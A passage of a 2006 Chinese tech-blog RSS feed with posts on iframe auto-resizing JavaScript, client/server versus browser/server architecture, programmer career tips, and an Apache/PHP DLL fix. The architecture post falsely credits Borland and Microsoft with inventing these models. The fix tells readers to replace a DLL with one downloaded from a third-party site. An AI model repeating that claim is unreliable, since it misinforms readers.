				<p>                        var h=Math.max(h1, h2);<br />                        if(document.all) {h += 4;}<br />                        if(window.opera) {h += 1;}<br />                        a[i].style.height = a[i].parentNode.style.height = h +"px";<br />                    }<br />                }<br />            }<br />        }<br />        catch (ex){}<br />    }<br />    if(window.attachEvent)<br />    {<br />        window.attachEvent("onload",  iframeAutoFit);<br />        //window.attachEvent("onresize",  iframeAutoFit);<br />    }<br />    else if(window.addEventListener)<br />    {<br />        window.addEventListener('load',  iframeAutoFit,  false);<br />        //window.addEventListener('resize',  iframeAutoFit,  false);<br />    }<br />    //--&gt;<br />    &lt;/script&gt;  <br />&lt;/head&gt;  <br />&lt;body&gt;<br />    &lt;table border="1" width="200" style="height: 400px; background-color: yellow"&gt;<br />        &lt;tr&gt;<br />            &lt;td&gt;iframe  自适应其加载的网页(多浏览器兼容，支持XHTML)&lt;/td&gt;<br />        &lt;/tr&gt;<br />    &lt;/table&gt;<br />&lt;/body&gt;  <br />&lt;/html&gt;</p>
		</div>
		<br />
<img src ="http://www.blogjava.net/bcims/aggbug/88084.html" width = "1" height = "1" /><br><br><div align=right><a style="text-decoration:none;" href="http://www.blogjava.net/bcims/" target="_blank">EricWong</a> 2006-12-16 02:01 <a href="http://www.blogjava.net/bcims/archive/2006/12/16/88084.html#Feedback" target="_blank" style="text-decoration:none;">发表评论</a></div>]]></description></item><item><title>什么是b/s模式?b/s模式的 结构?c/s与b/s的异同?</title><link>http://www.blogjava.net/bcims/archive/2006/11/29/84433.html</link><dc:creator>EricWong</dc:creator><author>EricWong</author><pubDate>Wed, 29 Nov 2006 14:34:00 GMT</pubDate><guid>http://www.blogjava.net/bcims/archive/2006/11/29/84433.html</guid><wfw:comment>http://www.blogjava.net/bcims/comments/84433.html</wfw:comment><comments>http://www.blogjava.net/bcims/archive/2006/11/29/84433.html#Feedback</comments><slash:comments>0</slash:comments><wfw:commentRss>http://www.blogjava.net/bcims/comments/commentRss/84433.html</wfw:commentRss><trackback:ping>http://www.blogjava.net/bcims/services/trackbacks/84433.html</trackback:ping><description><![CDATA[
		<p>第一、什么是C/S结构。 </p>
		<p>C/S（Client/Server）结构，即大家熟知的客户机和服务器结构。它是软件系统体系结构，通过它可以充分利用两端硬件环境的优势，将任务合理分配到Client端和Server端来实现，降低了系统的通讯开销。目前大多数应用软件系 <br />统都是Client/Server形式的两层结构，由于现在的软件应用系统正在向分布式的Web应用发展，Web和Client/Server应用都可以进行同样的业务处理，应用不同的模块共享逻辑组件；因此，内部的和外部的用户都可以访问新的和现有的应用系统，通过现有应用系统中的逻辑可以扩展出新的应用系统。这也就是目前应用系统的发展方向。 </p>
		<p>传统的C／S体系结构虽然采用的是开放模式，但这只是系统开发一级的开放性，在特定的应用中无论是Client端还是Server端都还需要特定的软件支持。由于没能提供用户真正期望的开放环境，C/S结构的软件需要针对不同的操作系统系统开发不同版本的软件，加之产品的更新换代十分快，已经很难适应百台电脑以上局域网用户同时使用。而且代价高，效率低。 </p>
		<p> </p>
		<p>第二、什么是B/S结构。 </p>
		<p>B/S（Browser/Server）结构即浏览器和服务器结构。它是随着 <br />Internet技术的兴起，对C/S结构的一种变化或者改进的结构。在这种结构下，用户工作界面是通过WWW浏览器来实现，极少部分事务逻辑在前端 <br />（Browser）实现，但是主要事务逻辑在服务器端（Server）实现，形成所谓三层3-tier结构。这样就大大简化了客户端电脑载荷，减轻了系统维护与升级的成本和工作量，降低了用户的总体成本（TCO）。 </p>
		<p>以目前的技术看，局域网建立B/S结构的网络应 <br />用，并通过Internet/Intranet模式下数据库应用，相对易于把握、成本也是较低的。它是一次性到位的开发，能实现不同的人员，从不同的地 <br />点，以不同的接入方式（比如LAN,WAN,Internet/Intranet等）访问和操作共同的数据库；它能有效地保护数据平台和管理访问权限，服 <br />务器数据库也很安全。特别是在JAVA这样的跨平台语言出现之后，B/S架构管理软件更是方便、快捷、高效。 </p>
		<p>第三、管理软件主流技术。 </p>
		<p>管理软件技术的主流技术与管理思想一样，也经历了三个发展时期。首先，界面技术从上世纪DOS字符界面到Windows图形界面（或图形用户界面GUI），直至Browser浏览器界面三个不同的发展时期。其次，今天所有电脑的 <br />浏览器界面，不仅直观和易于使用，更主要的是基于浏览器平台的任何应用软件其风格都是一样的，使用人对操作培训的要求不高，而且软件可操作性强，易于识 <br />别；再者，平台体系结构也从过去单用户发展到今天的文件/服务器（F/S）体系、客户机/服务器（C/S）体系和浏览器/服务器（B/S）体系。 </p>
		<p> </p>
		<p>二、C/S和B/S之比较 </p>
		<p>C/S和B/S是当今世界开发模式技术架构的两大主流技术。C/S是美国Borland公司 <br />最早研发，B/S是美国微软公司研发。目前，这两项技术以被世界各国所掌握，国内公司以C/S和B/S技术开发出产品也很多。这两种技术都有自己一定的市 <br />场份额和客户群，各家企业都说自己的管理软件架构技术功能强大、先进、方便，都能举出各自的客户群体，都有一大群文人墨客为自己摇旗呐喊，广告满天飞，可 <br />谓仁者见仁，智者见智。 </p>
		<p>1、C/S架构软件的优势与劣势 </p>
		<p>（1）、应用服务器运行数据负荷较轻。 </p>
		<p>最简单的C/S体系结构的数据库应用由两部分组成，即客户应用程序和数据库服务器程序。二者可分别称为前台程序与后台程序。运行数据库服务器程序的机器，也称为应用服务器。一旦服务器程序被启动，就随时等待响应客户程序发来的请求；客户应用程序运行在用户自己的电脑上，对应于数据库服务器，可称为客户电脑，当需要对数据库中的数据进行任何操作时，客户程序就自动地寻找服务器程序，并向其发出请求，服务器程序根据预定的规则作出应答，送回结果，应用服务器运行数据负荷较轻。 </p>
		<p>（2）、数据的储存管理功能较为透明。 </p>
		<p>在数据库应用中，数据的储存管理功能，是由服务器程序和客户应用程序分别独立进行的，前台应用可以违反的规则，并且通常把那些不同的（不管是已知还是未知的）运行数据，在服务器程序中不集中实现，例如访问者的权限，编号可以重复、必须有客户才能建立定单这样的规则。所有这些，对于工作在前台程序上的最终用户，是“透明”的，他们无须过问（通常也无法干涉）背后的过程，就可以完成自己的一切工作。在客户服务器架构的应用中，前台程序不是非常“瘦小”，麻烦的事情都交给了服务器和网络。在C/S体系的下，数据库不能真正成为公共、专业化的仓库，它受到独立的专门管理。 </p>
		<p>（3）、C/S架构的劣势是高昂的维护成本且投资大。 </p>
		<p>首先，采用C/S架构，要选择适当的数据库平台来实现数据库数据的真正“统一”，使分布于两地的数据同步完全交由数据库系统去管理，但逻辑上两地的操作者要直接访问同一个数据库才能有效实现，有这样一些问题，如果需要建立“实时”的数据同步，就必须在两地间建立实时的通讯连接，保持两地的数据库服务器在线运行，网络管理工作人员既要对服务器维护管理，又要对客户端维护和管理，这需要高昂的投资和复杂的技术支持，维护成本很高，维护任务量大。 </p>
		<p>其次，传统的C/S结构的软件需要针对不同的操作系统系统开发不同版本的软件，由于产品的更新换代十分快，代价高和低效率已经不适应工作需要。在JAVA这样的跨平台语言出现之后，B/S架构更是猛烈冲击C/S，并对其形成威胁和挑战。 </p>
		<p> </p>
		<p>2、B/S架构软件的优势与劣势 </p>
		<p>（1）、维护和升级方式简单。 </p>
		<p>目前，软件系统的改进和升级越来越频繁，B/S架构的产品明显体现着更为方便的特性。对一个稍微大一点单位来说，系统管理人员如果需要在几百甚至上千部电脑之间来回奔跑，效率和工作量是可想而知的，但B/S架构的软件只需要管理服务器就行了，所有的客户端只是浏览器，根本不需要做任何的维护。无论用户的规模有多大，有多少分支机构都不会增加任何维护升级的工作量，所有的操作只需要针对服务器进行；如果是异地，只需要把服务器连接专网即可，实现远程维护、升级和共享。所以客户机越来越“瘦”，而服务器越来越“胖”是将来信息化发展的主流方向。今后，软件升级和维护会越来越容易，而使用起来会越来越简单，这对用户人力、物力、时间、费用的节省是显而易见的，惊人的。因此，维护和升级革命的方式是“瘦”客户机，“胖”服务器。 </p>
		<p>（2）、成本降低，选择更多。 <br />大家都知道windows在桌面电脑上几乎一统天下，浏览器成为了标准配置，但在服务器操作系统上windows并不是处于绝对的统治地位。现在的趋势是凡使用B/S架构的应用管理软件，只需安装在Linux服务器上即可，而且安全性高。所以服务器操作系统的选择是很多的，不管选用那种操作系统都可以让大部分人使用windows作为桌面操作系统电脑不受影响，这就使的最流行免费的Linux操作系统快速发展起来，Linux除了操作系统是免费的以外，连数据库也是免费的，这种选择非常盛行。 </p>
		<p>比如说很多人每天上“网易”（原文为新浪）网，只要安装了浏览器就可以了，并不需要了解“网易”的服务器用的是什么操作系统，而事实上大部分网站确实没有使用windows操作系统，但用户的电脑本身安装的大部分是windows操作系统。 </p>
		<p>（3）、应用服务器运行数据负荷较重。 </p>
		<p>由于B/S架构管理软件只安装在服务器端（Server）上，网络管理人员只需要管理服务器就行了，用户界面主要事务逻辑在服务器（Server）端完全通过WWW浏览器实现，极少部分事务逻辑在前端（Browser）实现，所有的客户端只有浏览器，网络管理人员只需要做硬件维护。但是，应用服务器运行数据负荷较重，一旦发生服务器“崩溃”等问题，后果不堪设想。因此，许多单位都备有数据库存储服务器，以防万一。 </p>
		<p>3，C/S与B/S区别 </p>
		<p>Client/Server是建立在局域网的基础上的，Browser/Server是建立在广域网的基础上的。 </p>
		<p>（1）、硬件环境不同：C/S一般建立在专用的网络上，小范围里的网络环境，局域网之间再通过专门服务器提供连接和数据交换服务。 </p>
		<p> </p>
		<p>B/S建立在广域网之上的，不必是专门的网络硬件环境，例如电话上网，租用设备，信息自己管理，有比C/S更强的适应范围，一般只要有操作系统和浏览器就行。 </p>
		<p> </p>
		<p>（2）、对安全要求不同 </p>
		<p>C/S一般面向相对固定的用户群，对信息安全的控制能力很强。一般高度机密的信息系统采用C/S结构适宜，可以通过B/S发布部分可公开信息。 </p>
		<p> </p>
		<p>B/S建立在广域网之上，对安全的控制能力相对弱，面向是不可知的用户群。 </p>
		<p>（3）、对程序架构不同 </p>
		<p>C/S程序可以更加注重流程，可以对权限多层次校验，对系统运行速度可以较少考虑。 </p>
		<p> </p>
		<p>B/S对安全以及访问速度的多重的考虑，建立在需要更加优化的基础之上。比C/S有更高的要求，B/S结构的程序架构是发展的趋势，从MS的.Net系列的BizTalk2000Exchange2000等，全面支持网络的构件搭建的系统。SUN和IBM推的JavaBean构件技术等，使B/S更加成熟。 </p>
		<p> </p>
		<p>（4）、软件重用不同 </p>
		<p>C/S程序可以不可避免的整体性考虑，构件的重用性不如在B/S要求下的构件的重用性好。 </p>
		<p>B/S对的多重结构，要求构件相对独立的功能。能够相对较好的重用。就如买来的餐桌可以再利用，而不是做在墙上的石头桌子。 </p>
		<p>（5）、系统维护不同 </p>
		<p>系统维护是软件生存周期中，开销大，相当重要 </p>
		<p>C/S程序由于整体性，必须整体考察，处理出现的问题以及系统升级难，可能是再做一个全新的系统。 </p>
		<p>B/S构件组成方面构件个别的更换，实现系统的无缝升级。系统维护开销减到最小，用户从网上自己下载安装就可以实现升级。 </p>
		<p>（6）、处理问题不同 </p>
		<p>C/S程序可以处理用户面固定，并且在相同区域，安全要求高的需求，与操作系统相关，应该都是相同的系统。 </p>
		<p>B/S建立在广域网上，面向不同的用户群，分散地域，这是C/S无法作到的，与操作系统平台关系最小。 </p>
		<p>（7）、用户接口不同 </p>
		<p>C/S多是建立在Window平台上，表现方法有限，对程序员普遍要求较高。 </p>
		<p>B/S建立在浏览器上，有更加丰富和生动的表现方式与用户交流，并且大部分难度减低，降低开发成本。 </p>
		<p>（8）、信息流不同 </p>
		<p>C/S程序一般是典型的中央集权的机械式处理，交互性相对低。 </p>
		<p>B/S信息流向可变化，B－B、B－C、B－G等信息流向的变化，更象交易中心。</p>
<img src ="http://www.blogjava.net/bcims/aggbug/84433.html" width = "1" height = "1" /><br><br><div align=right><a style="text-decoration:none;" href="http://www.blogjava.net/bcims/" target="_blank">EricWong</a> 2006-11-29 22:34 <a href="http://www.blogjava.net/bcims/archive/2006/11/29/84433.html#Feedback" target="_blank" style="text-decoration:none;">发表评论</a></div>]]></description></item><item><title>程序员职业生涯规划十诀［转］</title><link>http://www.blogjava.net/bcims/archive/2006/11/29/84181.html</link><dc:creator>EricWong</dc:creator><author>EricWong</author><pubDate>Tue, 28 Nov 2006 16:15:00 GMT</pubDate><guid>http://www.blogjava.net/bcims/archive/2006/11/29/84181.html</guid><wfw:comment>http://www.blogjava.net/bcims/comments/84181.html</wfw:comment><comments>http://www.blogjava.net/bcims/archive/2006/11/29/84181.html#Feedback</comments><slash:comments>0</slash:comments><wfw:commentRss>http://www.blogjava.net/bcims/comments/commentRss/84181.html</wfw:commentRss><trackback:ping>http://www.blogjava.net/bcims/services/trackbacks/84181.html</trackback:ping><description><![CDATA[
		<p>[1]好好规划自己的路，不要跟着感觉走！根据个人的理想决策安排，绝大部分人并不指望 <br />成为什么院士或教授，而是希望活得滋润一些，爽一些。那么，就需要慎重安排自己的轨 <br />迹。从哪个行业入手，逐渐对该行业深入了解，不要频繁跳槽，特别是不要为了一点工资 <br />而转移阵地，从长远看，这点钱根本不算什么，当你对一个行业有那么几年的体会，以后 <br />钱根本不是问题。频繁地动荡不是上策，最后你对哪个行业都没有摸透，永远是新手！ <br />===========================<br />这一点非常同意，而且这点对于一些刚从学校毕业或即将毕业的小弟们更需要重视，毕竟，<br />我们以前从学校毕业的时候就走过这样的弯路了，希望你们能够走的比我人更快。</p>
		<p>     <br />[2]可以做技术，切不可沉湎于技术。千万不可一门心思钻研技术！给自己很大压力，如果 <br />你的心思全部放在这上面，那么注定你将成为孔乙己一类的人物！适可而止为之，因为技 <br />术只不过是你今后前途的支柱之一，而且还不是最大的支柱，除非你只愿意到老还是个工 <br />程师！ <br />==========================<br />　　这一点我保留，可能是中国人“官本位”的观念比较重吧，昨天去车站寄东西回家，跟<br />那个司机聊了聊，边上有一个人，应该是我们老家那边的人吧，一听说我在某某公司，大<br />惊，忙问我做什么的，正好看到我身上的工作牌还戴着，拿过一看，也就是一个“程序员”，<br />似乎是一脸不屑，脸上明显的意思就是：怎么不弄个官做做呀？否则我也可以请你帮忙弄<br />点什么好处了。接下来，就是跟我说，他是如何接受我们公司的某个什么人的好处的。。。<br />　　但其实真正说来，做软件这个行业，真正起作用的还是技术；像管理，还只是为技术服<br />务的，做技术，照样可以做到NO1.的。</p>
		<p>[3]不要去做技术高手，只去做综合素质高手！在企业里混，我们时常瞧不起某人，说他“ <br />什么都不懂，凭啥拿那么多钱，凭啥升官！”这是普遍的典型的工程师的迂腐之言。8051 <br />很牛吗？人家能上去必然有他的本事，而且是你没有的本事。你想想，老板搞经营那么多 <br />年，难道见识不如你这个新兵？人家或许善于管理，善于领会老板意图，善于部门协调等 <br />等。因此务必培养自己多方面的能力，包括管理，亲和力，察言观色能力，攻关能力等， <br />要成为综合素质的高手，则前途无量，否则只能躲在角落看示波器！技术以外的技能才是 <br />更重要的本事！！从古到今，美国日本，一律如此！      </p>
		<p>[4]多交社会三教九流的朋友！不要只和工程师交往，认为有共同语言，其实更重要的是和 <br />其他类人物交往，如果你希望有朝一日当老板或高层管理，那么你整日面对的就是这些人 <br />。了解他们的经历，思维习惯，爱好，学习他们处理问题的模式，了解社会各个角落的现 <br />象和问题，这是以后发展的巨大的本钱，没有这些以后就会笨手笨脚，跌跌撞撞，遇到重 <br />重困难，交不少学费，成功的概率大大降低！ </p>
		<p>[5]知识涉猎不一定专，但一定要广！多看看其他方面的书，金融，财会，进出口，税务， <br />法律等等，为以后做一些积累，以后的用处会更大！会少交许多学费！！ <br />===============================<br />要学这么多的东西，很累吧！自己的专业知识就够多的了，还要学习这么多其它的东西？<br />其实，知识要有深有广，广度的东西没有一个界限的，只要你爱好即可，当成闲书来看；<br />专业的东西是你的饭碗，不专不行的，一定得学好它。还有，就管你不做技术了，做管理<br />也是需要学好管理知识的。</p>
		<p>[6]抓住时机向技术管理或市场销售方面的转变！要想有前途就不能一直搞开发，适当时候 <br />要转变为管理或销售，前途会更大，以前搞技术也没有白搞，以后还用得着。搞管理可以 <br />培养自己的领导能力，搞销售可以培养自己的市场概念和思维，同时为自己以后发展积累 <br />庞大的人脉！应该说这才是前途的真正支柱！！！      </p>
		<p>[7]逐渐克服自己的心里弱点和性格缺陷！多疑，敏感，天真（贬义，并不可爱），犹豫不 <br />决，胆怯，多虑，脸皮太薄，心不够黑，教条式思维。。。这些工程师普遍存在的性格弱 <br />点必须改变！很难吗？只在床上想一想当然不可能，去帮朋友守一个月地摊，包准有效果 <br />，去实践，而不要只想！不克服这些缺点，一切不可能，甚至连项目经理都当不好--尽管 <br />你可能技术不错！      </p>
		<p>[8]工作的同时要为以后做准备！建立自己的工作环境！及早为自己配置一个工作环境，装 <br />备电脑，示波器（可以买个二手的），仿真器，编程器等，业余可以接点活，一方面接触 <br />市场，培养市场感觉，同时也积累资金，更重要的是准备自己的产品，咱搞技术的没有钱 <br />，只有技术，技术的代表不是学历和证书，而是产品，拿出象样的产品，就可技术转让或 <br />与人合作搞企业！先把东西准备好，等待机会，否则，有了机会也抓不住！      </p>
		<p>[9]要学会善于推销自己！不仅要能干，还要能说，能写，善于利用一切机会推销自己，树 <br />立自己的品牌形象，很必要！要创造条件让别人了解自己，不然老板怎么知道你能干？外 <br />面的投资人怎么相信你？提早把自己推销出去，机会自然会来找你！搞个个人主页是个好 <br />注意！！特别是培养自己在行业的名气，有了名气，高薪机会自不在话下，更重要的是有 <br />合作的机会...      </p>
		<p>[10]该出手时便出手！永远不可能有100%把握！！！条件差不多就要大胆去干，去闯出自 <br />己的事业，不要犹豫，不要彷徨，干了不一定成功，但至少为下一次冲击积累了经验，不 <br />干永远没出息，而且要干成必然要经历失败。不经历风雨，怎么见彩虹，没有人能随随便 <br />便成功 。</p>
		<p>
				<br />===============================<br />前面太多了，也就不一点点是评论它们了。总的来说，这篇文章就是打定了：从技术转行，<br />不再做技术了。我这时不由的想起：中国软件业的技术人员们都怎么了？这也是一个围城<br />吗？外面有大把的销售、技术支持想做软件开发，而软件开发的人又大把的想跳出去做销售<br />做管理。难道没有人能够专心的在自己的领域进行深度上的发展吗？</p>
<img src ="http://www.blogjava.net/bcims/aggbug/84181.html" width = "1" height = "1" /><br><br><div align=right><a style="text-decoration:none;" href="http://www.blogjava.net/bcims/" target="_blank">EricWong</a> 2006-11-29 00:15 <a href="http://www.blogjava.net/bcims/archive/2006/11/29/84181.html#Feedback" target="_blank" style="text-decoration:none;">发表评论</a></div>]]></description></item><item><title>震撼每一个人！！！无法诠释的赤裸人生！</title><link>http://www.blogjava.net/bcims/archive/2006/11/22/82736.html</link><dc:creator>EricWong</dc:creator><author>EricWong</author><pubDate>Wed, 22 Nov 2006 04:58:00 GMT</pubDate><guid>http://www.blogjava.net/bcims/archive/2006/11/22/82736.html</guid><wfw:comment>http://www.blogjava.net/bcims/comments/82736.html</wfw:comment><comments>http://www.blogjava.net/bcims/archive/2006/11/22/82736.html#Feedback</comments><slash:comments>0</slash:comments><wfw:commentRss>http://www.blogjava.net/bcims/comments/commentRss/82736.html</wfw:commentRss><trackback:ping>http://www.blogjava.net/bcims/services/trackbacks/82736.html</trackback:ping><description><![CDATA[
		<div class="Content-body" id="logPanel">
				<img alt="" src="http://img.qihoo.com/qhimg/bbs_img/0_0/0/223/834/8a1d20.jpg" border="0" />
				<br />
				<img alt="" src="http://img.qihoo.com/qhimg/bbs_img/0_0/0/223/836/42b078.jpg" border="0" />
				<br />
				<img alt="" src="http://img.qihoo.com/qhimg/bbs_img/0_0/0/223/838/20eef2.jpg" border="0" />
				<br />
				<img alt="" src="http://img.qihoo.com/qhimg/bbs_img/0_0/0/223/839/cb0544.jpg" border="0" />
				<br />
				<img alt="" src="http://img.qihoo.com/qhimg/bbs_img/0_0/0/223/840/a04359.jpg" border="0" />
				<br />
				<img alt="" src="http://img.qihoo.com/qhimg/bbs_img/0_0/0/223/841/fe8b6d.jpg" border="0" />
				<br />
				<img alt="" src="http://img.qihoo.com/qhimg/bbs_img/0_0/0/223/842/da4ad8.jpg" border="0" />
				<br />
				<img alt="" src="http://img.qihoo.com/qhimg/bbs_img/0_0/0/223/844/4fbf0c.jpg" border="0" />
				<br />
				<img alt="" src="http://img.qihoo.com/qhimg/bbs_img/0_0/0/223/845/8f2ce9.jpg" border="0" />
				<br />
				<img alt="" src="http://img.qihoo.com/qhimg/bbs_img/0_0/0/223/848/949cc7.jpg" border="0" />
				<br />
				<img alt="" src="http://img.qihoo.com/qhimg/bbs_img/0_0/0/223/849/5d4d45.jpg" border="0" />
				<br />
				<img alt="" src="http://img.qihoo.com/qhimg/bbs_img/0_0/0/223/850/f6088b.jpg" border="0" />
				<br />
				<img alt="" src="http://img.qihoo.com/qhimg/bbs_img/0_0/0/223/851/7c72a1.jpg" border="0" />
				<br />
				<img alt="" src="http://pop.pcpop.com/upimg/2003124256057349.jpg" border="0" />
				<br />' <br /><img alt="" src="http://pop.pcpop.com/upimg/2003124214208316.jpg" border="0" /><br /><a title="在新窗口打开图片" href="http://pop.pcpop.com/upimg/20031241537119842.jpg" target="_blank"><img alt="" src="http://pop.pcpop.com/upimg/20031241537119842.jpg" width="500" border="0" /></a><br /><a title="在新窗口打开图片" href="http://pop.pcpop.com/upimg/2003124550497639.jpg" target="_blank"><img alt="" src="http://pop.pcpop.com/upimg/2003124550497639.jpg" width="500" border="0" /></a><br /><a title="在新窗口打开图片" href="http://pop.pcpop.com/upimg/2003124511842456.jpg" target="_blank"><img alt="" src="http://pop.pcpop.com/upimg/2003124511842456.jpg" width="500" border="0" /></a><br /><img alt="" src="http://pop.pcpop.com/upimg/2003124187897146.jpg" border="0" /><br /><img alt="" src="http://pop.pcpop.com/upimg/2003124187498188.jpg" border="0" /><br /><img alt="" src="http://pop.pcpop.com/upimg/2003124173504735.jpg" border="0" /><br /><a title="在新窗口打开图片" href="http://pop.pcpop.com/upimg/2003124861017482.jpg" target="_blank"><img alt="" src="http://pop.pcpop.com/upimg/2003124861017482.jpg" width="500" border="0" /></a><br /><a title="在新窗口打开图片" href="http://pop.pcpop.com/upimg/20031241011153120.jpg" target="_blank"><img alt="" src="http://pop.pcpop.com/upimg/20031241011153120.jpg" width="500" border="0" /></a><br /><a title="在新窗口打开图片" href="http://img.qihoo.com/qhimg/bbs_img/0_0/0/223/853/06a4b3.jpg" target="_blank"><img alt="" src="http://img.qihoo.com/qhimg/bbs_img/0_0/0/223/853/06a4b3.jpg" width="500" border="0" /></a><br /><a title="在新窗口打开图片" href="http://img.qihoo.com/qhimg/bbs_img/0_0/0/223/858/bbcba4.jpg" target="_blank"><img alt="" src="http://img.qihoo.com/qhimg/bbs_img/0_0/0/223/858/bbcba4.jpg" width="500" border="0" /></a><br /><a title="在新窗口打开图片" href="http://img.qihoo.com/qhimg/bbs_img/0_0/0/223/860/8370ff.jpg" target="_blank"><img alt="" src="http://img.qihoo.com/qhimg/bbs_img/0_0/0/223/860/8370ff.jpg" width="500" border="0" /></a><br /><img alt="" src="http://img.qihoo.com/qhimg/bbs_img/0_0/0/223/859/3bfd02.jpg" border="0" /><br /><img alt="" src="http://img.qihoo.com/qhimg/bbs_img/0_0/0/223/861/1992a0.jpg" border="0" /><br /><a title="在新窗口打开图片" href="http://img.qihoo.com/qhimg/bbs_img/0_0/0/223/862/70183b.jpg" target="_blank"><img alt="" src="http://img.qihoo.com/qhimg/bbs_img/0_0/0/223/862/70183b.jpg" width="500" border="0" /></a><br /><img alt="" src="http://img.qihoo.com/qhimg/bbs_img/0_0/0/223/863/611010.jpg" border="0" /><br /><img alt="" src="http://img.qihoo.com/qhimg/bbs_img/0_0/0/223/864/131259.jpg" border="0" /><br /><img alt="" src="http://img.qihoo.com/qhimg/bbs_img/0_0/0/223/865/2f0428.jpg" border="0" /><br /><a title="在新窗口打开图片" href="http://img.qihoo.com/qhimg/bbs_img/0_0/0/223/866/b8207e.jpg" target="_blank"><img alt="" src="http://img.qihoo.com/qhimg/bbs_img/0_0/0/223/866/b8207e.jpg" width="500" border="0" /></a><br /><a title="在新窗口打开图片" href="http://img.qihoo.com/qhimg/bbs_img/0_0/0/223/867/6bebe3.jpg" target="_blank"><img alt="" src="http://img.qihoo.com/qhimg/bbs_img/0_0/0/223/867/6bebe3.jpg" width="500" border="0" /></a><br /><a title="在新窗口打开图片" href="http://img.qihoo.com/qhimg/bbs_img/0_0/0/223/871/5f2093.jpg" target="_blank"><img alt="" src="http://img.qihoo.com/qhimg/bbs_img/0_0/0/223/871/5f2093.jpg" width="500" border="0" /></a><br /><img alt="" src="http://img.qihoo.com/qhimg/bbs_img/0_0/0/223/872/a70e9f.jpg" border="0" /><br /><a title="在新窗口打开图片" href="http://img.qihoo.com/qhimg/bbs_img/0_0/0/223/873/c01b5f.jpg" target="_blank"><img alt="" src="http://img.qihoo.com/qhimg/bbs_img/0_0/0/223/873/c01b5f.jpg" width="500" border="0" /></a>  </div>
<img src ="http://www.blogjava.net/bcims/aggbug/82736.html" width = "1" height = "1" /><br><br><div align=right><a style="text-decoration:none;" href="http://www.blogjava.net/bcims/" target="_blank">EricWong</a> 2006-11-22 12:58 <a href="http://www.blogjava.net/bcims/archive/2006/11/22/82736.html#Feedback" target="_blank" style="text-decoration:none;">发表评论</a></div>]]></description></item><item><title>Apache 2启动时为什么不能加载php5apache2.dll的问题（续上面讲的apache安装和php配置）</title><link>http://www.blogjava.net/bcims/archive/2006/11/22/82734.html</link><dc:creator>EricWong</dc:creator><author>EricWong</author><pubDate>Wed, 22 Nov 2006 04:35:00 GMT</pubDate><guid>http://www.blogjava.net/bcims/archive/2006/11/22/82734.html</guid><wfw:comment>http://www.blogjava.net/bcims/comments/82734.html</wfw:comment><comments>http://www.blogjava.net/bcims/archive/2006/11/22/82734.html#Feedback</comments><slash:comments>4</slash:comments><wfw:commentRss>http://www.blogjava.net/bcims/comments/commentRss/82734.html</wfw:commentRss><trackback:ping>http://www.blogjava.net/bcims/services/trackbacks/82734.html</trackback:ping><description><![CDATA[
		<br />
		<br />下载该文件 <img style="MARGIN: 0px 2px -4px 0px" alt="下载文件" src="http://www.chiband.com/blog/images/download.gif" /><a href="http://www.chiband.com/blog/attachments/month_0610/php5apache2.dll-php5.1.x.rar" target="_blank">点击下载此文件</a><br /><br /><font color="#ff0000">其实这个方法别的blog也有，但人家只是copy，没有试过，我是自己亲自装了的，有什么问题可以联系我的msn: </font><a href="mailto:bcims@hotmail.com"><font color="#ff0000">bcims@hotmail.com</font></a><br /><br /><br /><br />1.将 php5apache2.dll 覆盖掉你原来PHP目录下的 php5apache2.dll 文件.<br /><br />2.将 httpd.exe.manifest 文件复制到你的apache安装目录下的bin文件夹下.<br /><br />3.双击运行vcredist_x86.exe安装.(如果您的系统里已安装了 .NET framework 2.就可以省掉这一步)<br /><br />完成!去重启你的apache2.2试试吧. <br /><br />舒服！！！！<br /><img src ="http://www.blogjava.net/bcims/aggbug/82734.html" width = "1" height = "1" /><br><br><div align=right><a style="text-decoration:none;" href="http://www.blogjava.net/bcims/" target="_blank">EricWong</a> 2006-11-22 12:35 <a href="http://www.blogjava.net/bcims/archive/2006/11/22/82734.html#Feedback" target="_blank" style="text-decoration:none;">发表评论</a></div>]]></description></item></channel></rss>